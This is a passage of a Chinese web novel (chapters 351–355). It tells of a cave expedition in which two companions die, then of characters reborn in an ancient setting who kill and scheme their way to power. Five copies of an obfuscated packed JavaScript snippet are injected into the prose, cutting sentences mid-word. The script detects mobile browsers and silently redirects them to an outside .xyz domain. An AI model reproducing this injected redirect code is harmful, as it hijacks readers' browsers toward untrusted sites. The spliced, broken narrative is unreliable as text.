原来他变成那个样子,不是被害,不是**,而是因为穿越的影响,神魂受损了。 林鸢伸手握住秦绵绵的手。 许久,直到把她的掌心暖热。 “绵绵,但是我来,不是来跟你讨论他的生死的,我是想告诉你一件事。” 林鸢深吸一口气。 “绵绵,你不能这样消沉下去了。事情已经到了这一步,哪怕有再多的人为此牺牲,我们也不能停下来……哪怕是我和你四叔……你也不能停下来,知道吗?” 秦绵绵缓缓抬起眼睛。 她什么也没说,但眼神里却满是拒绝。 林鸢就知道自己猜到了她心中所想。 因为太多人的牺牲,让她退却了。 可是今天晚上的发现,却让他们退无可退。 这也正是她今天要跟秦绵绵说的关键之处。 “绵绵,你可知道,一个魂魄不全的关键历史人物……”林鸢的声音继续在房间里回响,每一个字都像钉子,钉进秦绵下绵的心里,“他的存在本身,就是一个错误,一个不稳定的变量。他会像病毒一样,从历史的根源开始,引发不可预知的连锁崩塌。蝴蝶效应的最终结果,可能是几百年后,我们的文明……会从根基上被彻底抹去,我们所有的人,都会像没存在过一样,消失得干干净净!” 秦绵绵的眼睛蓦地睁大。 她缓缓皱起了眉头,似乎是终于开始接受和思考这件事。 原来,“救他”这个念头,那个支撑着她、也拖着所有人坠入深渊的私人执念,在这一刻,已经被赋予了截然不同的重量。 第351章 再到石窟去 它不再是私人的爱与拯救。 它变成了要去“修正”一个足以毁灭世界的错误。 不知过了多久,也许很长,也或许很短,秦绵绵的神情终于变了。 她眼中的空洞与悲伤,被某种更冷、更硬,也更坚定的东西填满了。 她没有退路了。 从一开始,就没有。 她背负的,从来不只是裴应见一个人的命。 那么,就去做吧。 半小时后,秦绵绵走出了房间。 她换了身干净利落的衣服,头发束在脑后,脸上看不出任何情绪,眼神平静得像一潭深不见底的湖。 “姑姑,”她对等在楼下的林鸢说,“联系他们,收拾好了,我们就准备出发。” 林鸢点了点头,没有多问一个字。 临行前,秦绵绵独自去了一趟医院。 她隔着重症监护室厚厚的玻璃,看着里面那个插着管子、安静沉睡的小小身影。 通过赫尔曼的关系,她已经为朱小宝联系了全球最好的医疗专家,并设立了一笔足以让他一生无忧的信托基金。 她将手掌贴在冰冷的玻璃上,仿佛这样就能传递去一丝温度。 “小宝,等你醒来,”她轻声说,像一个承诺,“一切都会好的。” …… 一行人带着所有的佛宝,最后一次来到后山的那处石窟。 赫尔曼也跟来了,他的脸上带着病态的狂热与期待。 在终于见到这传说中的石佛时,他的激动溢于言表。 石窟内,冰冷压抑。 秦绵绵没有让任何人帮忙,她亲自捧着佛头,安放在佛像空缺的脖颈上。 接着,是那尊玉石佛手,严丝合缝地嵌入了断臂处。 最后,她从一个特制的盒子里,取出了那枚“佛心”。 佛舍利在昏暗的石窟中散发着幽幽的金光,仿佛一颗拥有自己生命的心脏。 当秦绵绵将它缓缓按入佛像胸口那个碗大的空洞中。 所有人都退了开来。 然而,所有一切都完整了,但预想之中的神奇事情并没有发生。 整个石窟并没有如预想般发出任何光芒。 而取而代之的,是片刻后,脚下的大地传来一阵令人牙酸的“咔咔”声。 在众人惊骇的目光中,那尊巨大的佛像,竟从正中间裂开一道缝隙,然后,带着沉重而古老的摩擦声,缓缓向两侧移去。 一个深不见底、盘旋向下的黑暗通道,出现在佛像之后。 深邃的黑暗里,传来仿佛宇宙背景噪音般的低沉嗡鸣,像是来自另一个世界的呼吸。 佛像后方的通道深不见底,盘旋向下,仿佛巨兽张开的喉管。 那股低沉的嗡鸣声正是从黑暗深处传来,带着某种吸力,拉扯着人的心神。 赫尔曼的呼吸变得粗重,眼中是病态的狂热,他迫不及待地第一个踏入了通道。 秦绵绵跟在后面,林鸢和姚祁一左一右,姜敬意断后。 石阶湿滑,布满青苔,每向下走一步,空气就更冷一分,那股嗡鸣声也愈发清晰,仿佛贴着耳膜震动。 走了不知多久,前方豁然开阔,出现一个巨大的地底溶洞。 溶洞顶端垂下无数钟乳石,形状诡异,像倒悬的利刃。 正当众人打量四周时,两侧石壁上近百个黑洞洞的孔窍里,骤然喷射出密集的**箭,带着尖锐的破空声,封**所有退路。 “趴下!”姜敬意吼了一声,第一时间将离他最近的赫尔曼扑倒在地。 秦绵绵和林鸢几乎同时矮身,贴着地面翻滚。 姚祁反应极快,他扯过身后一个装设备的厚重金属箱,挡在身前,几声沉闷的撞击声后,数支**箭深深嵌入箱体,箭尾兀自颤动。 箭雨只持续了短短几息便停歇。 赫尔曼脸色煞白,惊魂未定地从地上爬起来,嘴里咒骂着什么。 “只是开胃菜。”秦绵绵冷冷地看了一眼石壁上的孔窍,声音没有波澜。 继续向前,嗡鸣声的源头似乎就在前方。 他们穿过一条狭窄的甬道,眼前出现了一片广阔得不像话的地下空间。 这里没有钟乳石,地面平整如镜,中央矗立着一块巨大的、不规则的水晶。 水晶内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052676|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部流光溢彩,将整个空间映照得如梦似幻。 那嗡鸣声,正是从这水晶中发出。 所有人都被眼前的景象震慑住了。 赫尔曼更是痴迷地向前走了几步,伸出手,似乎想去触摸那块水晶。 就在这时,他忽然停下脚步,脸上露出狂喜的表情,对着空无一人的地方大喊: “天呐!是……是所罗门的宝藏!全都在这里!” 他像个疯子一样,在空地上手舞足蹈,不停地抓取着空气,仿佛在将无数金银珠宝揽入怀中。 “姑姑?”秦绵绵皱眉看向林鸢。 林鸢的脸色也变了,她正低头看着手腕上的监测仪,屏幕上的数据疯狂跳动。 “是幻觉!这块水晶在释放一种高频次声波,直接作用于大脑皮层,诱发内心最深处的欲望!” 话音未落,秦绵绵身旁的姚祁身体也僵住了。 他怔怔地望着前方,眼神穿过那块巨大的水晶,脸上是难以置信的温柔与悲伤。 “姐姐……”他喃喃自语,迈开脚步向前走去,“小宝也在……你们怎么在这里?” 秦绵绵心中一刺。 她闭上眼,那股无形的声波也侵入了她的脑海。 周围的一切都消失了。 她看见了裴应见,不是梦里那个痛苦挣扎的男人,而是忽然变成了一个穿着白衬衫,眉眼带笑的青年。 他站在客栈门口温暖的日光下,对她伸出手,声音温和得能化开冰雪: “绵绵,都结束了,我们回家。” 回家…… 这个词像一根针,狠狠扎进秦绵绵的心里。 不。 这是假的。 她猛地睁开眼,眼底一片清明,所有的幻象如潮水般退去。 她看着在幻觉中挣扎的众人,声音冷得像冰:“都醒醒!你们看到的,全都是假的!” 她的声音仿佛带着某种穿透力,赫尔曼和姚祁都浑身一震,茫然地看着四周。 幻觉褪去,他们才看清这片空间的真实样貌。 地上根本没有什么宝藏,也没有亲人,只有一地广阔的空寂。 第352章 我一直喜欢你 赫尔曼惊出一身冷汗,踉跄着后退,一屁股跌坐在地。 姚祁的面色也十分难看。 林鸢和姜敬意也从幻觉中醒来,后知后觉地擦着汗。 就在众人心神恍惚之际,惊魂未定的赫尔曼为了稳住身形,胡乱伸手在旁边的地上上一按。 咔嚓。 一声轻微的机括声响起。 整个空间剧烈地晃动起来,那块巨大的水晶从中间裂开,露出里面一个更加璀璨、仿佛由纯粹光芒构成的核心。 一股肉眼可见的能量流,开始向着核心汇聚。 “不好!”林鸢看着仪器,失声尖叫,“他启动了能量核心!这里会塌的!” 秦绵绵目光飞速扫过四周,立刻锁定了赫尔曼身边另一侧一个对称的凹槽。 她没有丝毫犹豫,冲了过去,准备按下那个可能是中止机关的凹槽。 “绵绵,别碰那个!”林鸢的声音凄厉,充满了前所未有的恐惧,“能量读数不对!会朝你汇聚过去的!你会受伤的!” 可是,来不及了。 秦绵绵的手指,已经触碰到了冰冷的机关。 就在这电光石火间,一道身影从她身侧闪过,用尽全身力气将她狠狠撞开。 是姚祁。 他甚至来不及说一个字,只是用身体,将她推离了那个致命的位置。 下一秒,那光芒核心彻底失控,一道惨白到极致的光柱,无声地从核心爆发,瞬间吞没了姚祁站立的地方。 光芒吞噬一切的前一秒,秦绵绵只感到一股巨力从侧面撞来,力道之大,让她整个人都失去了平衡,狼狈地向旁跌去。 时间仿佛被拉成了慢动作。 她看见姚祁的侧脸,那张总是带着些许痞气的脸上,此刻写满了她从未见过的决绝。 他用自己的身体,严严实实地堵在了她和那个即将爆发的能量核心之间。 他甚至来不及回头再看她一眼。 下一瞬,世界失去了声音。 一道无法用言语形容的、纯粹的、剥离了所有色彩的惨白光柱,从水晶核心中轰然爆发,精准地将姚祁整个人笼罩其中。 没有巨响,没有**。 只有死寂。 一种连光线和空气都被抽干的、令人窒息的死寂。 光柱的能量被姚祁挡了一下,骤然变暗。 姚祁还站在那里,姿势都没有变。 秦绵绵挣扎着从地上爬起来,疯了一般地冲过去。 “姚祁!”她扶住他。 他的身体却像一尊失了支撑的雕像,软软地向她怀中倒来。 他的衣服在接触光柱的瞬间已经化为飞灰,身上布满了蛛网般诡异的赤红色裂痕,那些裂痕深处,透出微弱的、仿佛余烬般的光,正在迅速黯淡下去。 “咳……”姚祁猛地咳出一口血,那血却不是红色,而是带着点点金色光屑的暗沉液体。 他费力地抬起眼,目光涣散地寻找着秦绵绵的脸。 当他终于看清她时,那张因剧痛而扭曲的脸上,竟扯出了一个好像十分欣慰的笑容。 “还好……你没事……”他的声音轻得像耳语,每一个字都带着破碎的气息。 秦绵绵用手死死捂住他胸口那些不断扩大的裂痕,徒劳地想阻止他生命力的流逝。 “别说话!你别说话!姑姑!姑姑救他!”她语无伦次地嘶喊着。 姚祁却只是笑着,用尽最后的力气,抬起那只同样布满裂痕的右手,想要触摸她的脸颊。 “我……我一直……”他的呼吸越来越微弱,“……喜欢你。” 秦绵绵的眼泪决堤而下。 “我知道……我一直都知道……对不起……” 姚祁的目光里,有释然,有眷恋,还有深深的遗憾。 “答应我……活下去……”他的手终究没能碰到她,在半空中无力地垂落,“替我……活下去……” 最后一个字音落下,他眼中的光彻底熄灭了。 他整个人就在秦绵绵的怀中,慢慢闭上了眼睛。 秦绵绵跪坐在原地,感受着怀里的人体温迅速地冷了下去,只有手心还残留着他最后一点微不足道的温度。 她的脑子一片空白,心脏像是被一只无形的手攥住,拧干了最后一滴血。 又一个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061023|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一个因她而死。 “绵绵——!” 林鸢忽然喊起来,声因在空旷的洞中回荡。 她手腕上监测仪的屏幕,在姚祁消失的瞬间,数据曲线陡然拉出一条与裴应见失踪时一模一样的、垂直向上的尖峰! “绵绵!快离开那里!能量场不稳定!”林鸢的声音因恐惧而变调。 可已经晚了。 那光柱在吞噬了姚祁之后,并没有平息,一股无形的能量漩涡,以秦绵绵为中心,再次缓缓形成。 一瞬间,秦绵绵的身影突然好像水波一样开始晃动起来。 她的身体渐渐又迅速地开始变得透明。 林鸢急的立刻就要扑过去。 就在这时,姜敬意动了。 他比林鸢更快。 “丫头别怕,四叔救你!” 他嘶吼着,扑向迅速消失的秦绵绵,但却在手马上要抓住她衣角的时候,秦绵绵的身影倏忽一下,消失不见了。 扑倒在地的姜敬意一愣,紧接着,就发现那光柱的光芒仍然没有消失,而是打在了他的身上。 姜敬意愣了一瞬,林鸢已经扑了过来。 “阿意快走!”她嘶喊。 可一切发生的实在太快了。 几乎是秦绵绵消失的同时,姜敬意扑来,而姜敬意扑来的同时,那光柱就笼罩了他。 就像笼罩姚祁时一样,巨大又暗淡的光芒瞬间遮蔽了他的身形。 只一瞬间,他就瞪大眼睛,直挺挺地朝后倒去。 姜敬意重重地倒在了地上,发出沉闷的响声。 那光柱终于彻底散去。 “阿意!” 林鸢扑过来,抱起毫无声息的姜敬意,就发现他的身上出现了跟姚祁一样的红痕。 “阿意!你!你怎么能丢下我!” 林鸢终于哭了出来。 而怀里的姜敬意却再也没有声息。 她的泪水滚滚而落。 这一瞬,所有过去的误会都烟消云散,所有年少的情意再次被记起。 可惜,一切都已经来不及了。 不知过了多久,林鸢才回过神来。 第353章 庶子的手段 身边是姚祁和姜敬意的遗体,而秦绵绵的身影却诡异的消失了。 巨大空寂的地底空间里,安静的好像一切都没有发生过一样。 另一头,赫尔曼却好像完全没有注意到同伴的接连死亡。 他痴迷地看着眼前的一切,看着秦绵绵消失的瞬间,他的脸上露出病态的狂喜。 “神迹……这是真正的神迹!通往永恒的门打开了!”他张开双臂,像是在拥抱一个伟大的新世界。 死一般的寂静笼罩了整个地下世界,只剩下水晶核心那不祥的嗡鸣,和赫尔曼癫狂的笑声。 林鸢呆呆地站着,仿佛全身的力气都被抽干了。 片刻之后,她猛地转过身,通红的眼睛死死地盯着赫尔曼。 “我们快走。”她的声音沙哑、冰冷。“这里很危险……” 赫尔曼却像是没听见,依旧在原地手舞足蹈:“走?为什么要走?我找到了!我找到了所有秘密的答案!我将在这里获得永生!” 他好像疯了,完全无视林鸢的警告,直奔着中央那巨大的水晶核心而去。 “赫尔曼!你疯了吗!” 但赫尔曼却已经全然听不见了。 林鸢咒骂了一句,她看着这个彻底疯掉的男人,又看了看旁边已经冰冷的姜敬意和姚祁的尸体,最后,目光落在那片秦绵绵消失的空地上。 她闭上眼,再睁开时,所有的悲伤和恐惧都被压了下去,只剩下彻骨的寒意。 她没有再多说一个字,转身走到姜敬意的身体旁,费力地将他背了起来,又拖住姚祁的遗体,一步一步,用尽力气,头也不回地朝着来时的黑暗通道走去。 赫尔曼的狂笑声,被她渐渐抛在了身后,最终与那水晶的嗡鸣一起,被永恒的地底黑暗所吞没。 …… 北风卷着碎雪,像沙砾般抽打在王帐的毛毡上,发出沉闷的扑簌声。 这是他来到这里的第五年。 拓跋野,或者说,如今的“拓跋野”,正跪坐在冰冷的地毯上,为火盆里添着一块新的干牛粪。 火苗舔舐着黑褐色的燃料,爆出细小的火星,映亮了他低垂的眉眼。 他长高了,也壮实了些,但身上那件洗得泛白的旧袍子,依旧让他在这座崇尚力量与奢华的王帐里,像一株生长在石缝中的枯草。 帐外传来兄长们纵情的狂笑和骏马的嘶鸣。 他们要去冬猎了。 “那个南边舞姬生的小杂种!怎么还不滚出来给本王子的‘雪豹’备鞍?” 是三王子拓跋宏的声音,粗野,蛮横,一如五年前将骨头扔在他脚下时的模样。 拓跋野没有动,只是将火钳轻轻放回原处,动作里没有半分烟火气。 他早就习惯了。 从最初穿越而来,附身在这具十三岁少年身体里的震惊与不甘,到后来日复一日的欺凌与漠视,他学会了如何将自己变成一道影子,一道没有情绪,不会反抗,因此也引不起旁人太多兴趣的影子。 三王子拓跋宏掀开帐帘,带着一身寒气闯了进来,抬脚就朝他踹来。 拓跋野顺着那力道,不带任何抵抗地滚到一旁,避开了要害,只用后背硬生生受了那一下。 “废物!”拓跋宏啐了一口,见他这副逆来顺受的模样,愈发觉得无趣,骂骂咧咧地自己出去了。 拓跋野撑着地,慢慢坐直身体,后背传来火辣辣的痛。 他没有去看帐帘晃动的方向,目光依旧落在跳动的火焰上。 那火焰深处,仿佛映出了另一张脸,一张让他午夜梦回都会心悸的脸。 他想,他得活下去。 不光是活下去。 他要站到最高的地方,要拥有最强的力量,然后,到南边去。 他下意识地抬起手,摸了摸自己的后颈,极轻微地,摇了摇头。 不是为了鼓劲。 而是为了提醒自己,这条路,不能错。 …… 那年的冬猎,成了三王子拓跋宏人生的终点。 没有人知道,为什么他那匹素来神骏的战马“雪豹”,会在追逐一只狐狸时突然发狂,带着他一头冲进了被积雪覆盖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061024|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷坑。 那是牧民们用来捕狼的深坑,底部插满了削尖的木桩。 等人们找到他时,他的人和马,都已经被穿成了两串血肉模糊的糖葫芦。 老王为此发了顿脾气,也仅仅是发了顿脾气。 儿子太多,死一个不算什么大事。 只有拓跋野知道,他在半个月前,就开始每天用一种混了刺鼻草药的油脂,偷偷涂抹在“雪豹”的马料里。 那种气味很淡,人闻不出,马却极其厌恶。 而冬猎那天,他趁着备鞍的功夫,将那草药的浓缩汁液,抹在了拓跋宏的马鞭上。 当浸透了那种气味的鞭子,一次次抽打在“雪豹”身上时,畜生的疯狂,便成了注定的结局。 王帐的角落里,拓跋野听着众人对三王子之死的议论,面无表情地,将一小块烤肉送进嘴里,细细地咀嚼。 肉,还是冷的。但这一次,他吃得下去了。 …… 又过了三年。 大王子拓跋烈,在一次与邻族的边境冲突中,因“冒进”中了埋伏,兵败被俘。 消息传回王帐时,老王正被病痛折磨得昏昏沉沉。 他倚在软榻上,看着跪在下方,条理清晰地分析着敌我之势、主张用最小代价赎回大王子的拓跋野,浑浊的眼睛里,第一次透出几分审视。 这个平日里沉默寡言的庶子,不知何时,已经不再是那个任人欺辱的少年了。 他博览群书,通晓军略,尤其对南朝大雍的政史了如指掌。 “父王,大哥是国之储君,不可有失。但此时若大动干戈,正中敌人下怀,他们要的,无非是牛羊与金银……” 拓跋野的声音平静而沉稳,听不出任何情绪。 没人知道,那份让大王子冒进的错误情报,正是由他通过安插在军中的棋子,巧妙地送达的。 最终,老王采纳了他的建议。 大王子被赎回来了,但代价是王族颜面扫地,他储君的地位也变得岌岌可危。而拓跋野,因为处置得当,被老王破格允许参与政事。 第354章 她得活 他开始有机会接触那些手握实权的部落首领与朝臣。 他不像其他王子那样用金钱和地位去收买,他用的,是人心。 他能记住每个部落首领家族里最不成器的那个小儿子的名字;他会亲自为年迈的臣子,在风雪天送去一车过冬的木炭;他甚至会花一个下午的时间,去听一个边防小校讲那些早已听过无数遍的、关于南朝的见闻。 他的势力,就像雪山融水,无声无息,却一点点地渗透进这片草原的权力土壤里。 …… 又一年,二王子拓跋雄被查出与敌国私通,意图谋反,证据确凿。 那些证据,正是由大王子拓跋烈亲自搜集,并呈到老王面前的。 拓跋雄被赐死,而大王子,则因为“大义灭亲”之举,挽回了些许声望。 可**,那些引诱二王子行差踏错的“敌国密使”,那些看似天衣无缝的“证据”,全都是拓跋野一手编织的陷阱。 他只是借了大王子的手,除掉了另一个障碍。 从始至终,他都像个置身事外的看客。 老王垂垂老矣,身体还悄悄被一种**侵蚀着,愈发依赖这个聪慧、孝顺、且毫无野心的庶子。 他庆幸,在几个不成器的儿子之外,自己还有这么一个可以托付的血脉。 …… 瘟疫在草原蔓延的那年春天,拓跋野被封为“靖安王”,手握平定瘟疫与赈济灾民的大权。 他没有待在安全的王帐里遥控指挥,而是亲自去到疫情最严重的部落。 他与牧民同住,喝一样的水,甚至亲自为垂死的病人擦拭身体。 他用从南朝医书上看来的法子,隔离病患,焚烧尸体,清洁水源。 他懂的格外的多。 他的到来,就像一束光,照亮了遭难的平民们。 当恐慌的牧民们看到这位年轻的王爷,不戴面罩,平静地走进一个个死亡帐篷时,所有的畏惧,都化作了敬仰。 瘟疫平息后,靖安王拓跋野的名字,已经成了这片草原上新的神祇。 他回王帐复命的那天,大王子率众“迎接”。 “王弟此番功高盖世,连父王都说,这片草原,将来怕是要交到你手上了。”大王子的笑容里,藏着毫不掩饰的嫉妒与杀机。 拓跋野只是淡淡一笑,翻身下马,躬身行礼:“为父王分忧,为兄长分忧,是拓跋野的本分。” 然而,当天夜里,大王子兵变,以“清君侧”为名,直扑王帐,要诛杀妖言惑众的靖安王。 可他们面对的,是早已严阵以待的、忠于拓跋野的王帐卫队,以及那些自发前来护卫他们“神祇”的、手持弯刀的愤怒牧民。 兵变,成了一场彻头彻尾的闹剧。 天亮时,拓跋野提着大王子的头颅,走进老王的寝帐。 老王躺在病榻上,已经油尽灯枯。 他看着跪在眼前的拓跋野,看着那颗死不瞑目的头颅,浑浊的泪水滚滚而下。 “好……好啊……幸好……还有你……” 他用尽最后的力气,握住拓跋野的手,将象征王权的黄金指环,戴在了他的手指上。 …… 拓跋野终于坐上了那张覆盖着厚厚熊皮的王座。 殿堂宏伟,巨大的兽骨作为梁柱,墙壁上挂着粗犷的毛皮挂毯。 他挥退了所有人,独自坐在这空旷的大殿里。 他低头,看着手上的黄金指环,又抬眼,望向大殿门口。 门外,是广阔的草原,再往南,是连绵的山脉。 山脉的那一头,是另一个国度。 大雍。 他等这一天,等了太久太久。 他缓缓站起身,走到一张巨大的地图前,那上面,详细地标注着大雍的疆域、城池、与**。 他的手指,缓缓划过地图,最终,落在了那两个字上。 京城。 他想去那里看看。 看看那个让他从地狱里爬出来,一步步走到今天的人,会不会在那里。 他想着,嘴角不自觉地勾起一抹无人能懂的、混杂着疯狂与温柔的笑意。 然后,他仿佛有些不自在似的,抬起手,轻轻摸了摸自己的后颈。 再极轻微地,摇了摇头。 时机,到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061025|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 水腥气混着烂泥的腐臭,钻进鼻腔。 她醒来时,正被人按在冰冷的石板地上,后脑勺抵着粗糙的地面,硌得生疼。 眼前是几张模糊而狰狞的脸,嘴里喷着酒气,说着污言秽语。 “……小丫头片子还挺横,让她伺候三爷是看得起她!” “打一顿就老实了,黑鲨帮的规矩,不就是拳头么。” 身体属于一个瘦弱的少女,没什么力气,记忆也混乱不堪,只剩些被欺凌的片段。 她好像已经**,死在刺目的白光里。 但她又确确实实再次活了。 此时此刻,她脑子里唯一的念头,清晰得像刀刻上去般—— 活下来。 她或许还有机会,见到他们。 这个念头给了她力量。 在巴掌即将落下的瞬间,她用尽全身的力气,偏头躲过,张嘴狠狠咬在了那只满是老茧的手腕上。 是死士的咬法,不撕扯,只用尽全力向内合拢,目标是咬断筋骨。 “啊——!” 杀猪般的惨叫划破了昏暗的柴房。 她没有松口,直到尝到满嘴的血腥,那人疼得跪倒在地,她才被另几人手忙脚乱地拽开。 身体撞在墙上,像散了架。 她躺在地上,看着那几个被她眼神吓住、不敢再上前的帮众,喉咙里发出嗬嗬的笑声。 这晚,她被打断了左腿,扔回了那间漏风的柴房,只给了半碗馊掉的稀饭。 腿是自己掰正,用偷来的门板木条和布带固定的。 深夜,饥饿与剧痛让她无法入睡。 柴房的门被悄无声息地推开条缝,有件东西被扔了进来,落在她身旁的干草上。 是块还带着温度的烙饼,和瓶小巧的金疮药。 她警惕地望向门缝,只看到片飞速消失的黑衣衣角。 这是她第一次得到来自那个神秘飞贼的帮助。 她不知道他是谁,也不知道他为何要这么做。 她只是沉默地吃掉了烙饼,将药仔细地敷在伤口上。 她得活。 第355章 京城的消息 黑鲨帮是个盘踞在码头的三流帮派,靠收些保护费和干些见不得光的活计为生。 她这具身体的原主叫阿四,是个无父无母的丫鬟,在帮里地位比狗还低。 但从那天起,阿四变了。 她不再低眉顺眼,也不再任人打骂。 她像条潜伏在阴沟里的毒蛇,沉默,却随时会亮出致命的毒牙。 她用灶膛里的灰,弄瞎了当初踹她那人的眼睛。 她用帮主要处理的货物里藏着的毒物,让那个想轻薄她的“三爷”全身溃烂,哀嚎了三天才断气。 她的手段阴狠,不计后果,几次都险些被人打死,却又总能在最关键的时候,得到那神出鬼没的援手。 有时是藏在米缸里的一把**。 有时是仇家追杀她时,屋顶上恰好掉下来砸晕了对方的瓦片。 还有次,她被帮主沉进江里,捆着手脚,以为必死无疑。 却在水下感到绳索被利刃割断,股暗流将她推向了岸边。 她浮出水面,只远远看到一道黑影在江岸的房檐上几个起落,便消失在夜色里。 他们之间从未有过交谈。 她却渐渐摸清了他的习惯。 他喜欢待在高处,动作像猫,身上总有股淡淡的、江风混着药草的味道。 她靠着这股狠劲和那份不知来由的“运气”,在黑鲨帮活了下来,并且,像藤蔓般,开始缠绕着这棵腐朽的树,向上攀爬。 …… 三年后。 黑鲨帮的议事堂里,油灯的光映着满地鲜血。 老帮主捂着脖子,眼睛瞪得滚圆,倒在自己的座位前。 他脖子上插着根筷子,那是她刚刚从餐桌上信手拈来的。 堂下,是她这些年或威逼、或利诱、或用性命换来恩情的心腹。 她踩着血,走到那张虎皮大椅前,缓缓坐下。 左腿的旧伤在阴雨天依旧会隐隐作痛,提醒着她这路走得有多难。 “从今天起,我就是规矩。”她看着下方噤若寒蝉的众人,声音沙哑,却带着不容置疑的威严。 当晚,她独自坐在空无旁人的堂中,对着角落的阴影处,倒了杯酒。 “出来吧。” 片刻后,道黑影悄无声息地从房梁上落下,身形颀长,脸上依旧蒙着黑布,只露双眼睛。 那双眼睛,在跳动的火光里,带着些玩世不恭。 “恭喜。”他的声音带着年轻人特有的清亮,却刻意压得低沉。 “你到底是谁?为什么要帮我?”她问出了盘桓心底三年的问题。 “看你顺眼。”他拿起桌上的酒杯,仰头饮尽,“你这女人,活得像条野狗,不对,比野狗还狠。看着……挺投缘的。” 他从怀里掏出份卷宗,扔在桌上。 “老帮主私通官府,想把整个黑鲨帮卖了换个出身。这是账本,有了它,你这位置才能坐得稳。” 这正是她今晚动手最缺的“大义”。 她看着他,许久,才低声道:“我欠你三条命。” “那就替我好好活着。”他笑了笑,那笑意仿佛穿透了黑布,“这世道,好好活着,可不容易。” 说完,他身形晃,便再次融入了窗外的夜色。 …… 新帮主上位,黑鲨帮被彻底清洗。 帮派的名字被她改成了“七义堂”,没人知道这“七义”是何意。 她治下极严,却也极公。 赏罚分明,带着兄弟们开拓财源,不再欺压码头的穷苦人,势力反而像滚雪球般壮大起来。 只是这位新帮主有两个古怪的命令。 第一,不惜代价,打探一位秦姓女子的下落。年龄、相貌、来历,全都不详,只有姓氏。心腹们愁白了头,也只敢在私下里嘀咕,这无异**捞针。 第二,留心京城里,关于镇国侯裴应见的所有消息。 这天,份来自京城的密报被送到了她的书房。 她拆开火漆,逐字逐句地看着。 当看到“……镇国侯裴应见心性大变,自请褫夺爵位,于安乐郡主府为奴,其状若癫狂,时清醒时暴戾,京中哗然……”那几行字时。 啪嚓—— 她手中的茶杯被狠狠掼在地上,砸得粉碎。 门外守着的心腹们被这声巨响吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063017|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身哆嗦,大气都不敢出。 他们从未见过向来喜怒不形于色的帮主发这么大的脾气。 片刻后,书房的门被拉开。 她站在门口,脸上已恢复了惯常的冰冷,只是眼底的寒意,让周遭的空气都仿佛凝固了。 “传令下去。” 她的声音不大,却字字如铁。 “七义堂所有生意,向京城延伸。不计成本,不问手段。” “我要在三个月内,听到我们在京城的声音。” …… 玄清是在恶臭里醒来的。 不是血腥气,也不是硝烟味,是那种馊饭、烂菜叶子混着牲口粪便,再被太阳暴晒后发酵出的,独属于穷街陋巷的味道。 他躺在座石桥底下,身下是硌人的碎石,身上盖着几片破麻布。 他试着动了动,浑身骨头缝都泛着酸,像是被人拆散了又胡乱拼凑起来的。 我是谁? 脑子里空空荡荡,像被水洗过。 他只记得刺目的白光,还有……撕心裂肺的痛。别的,就什么都没了。 “哟,这臭要饭的醒了?” 桥洞外探进来几个脑袋,是街面上的泼皮,脸上挂着不怀好意的笑。 为首的黄牙凑过来,踢了踢他身边那个破碗:“昨儿个讨的钱呢?拿出来孝敬几位爷。” 玄清茫然地看着他们,没说话。 黄牙见他不作声,失了耐心,伸手就要来搜身。 就在那只脏手快要碰到他衣襟的瞬间,玄清空洞的眼神里,忽然闪过些零碎的数字与光影。 他像是被烫到般缩了下,脱口而出: “你……你印堂发黑,今日午时三刻,必有血光之灾。” 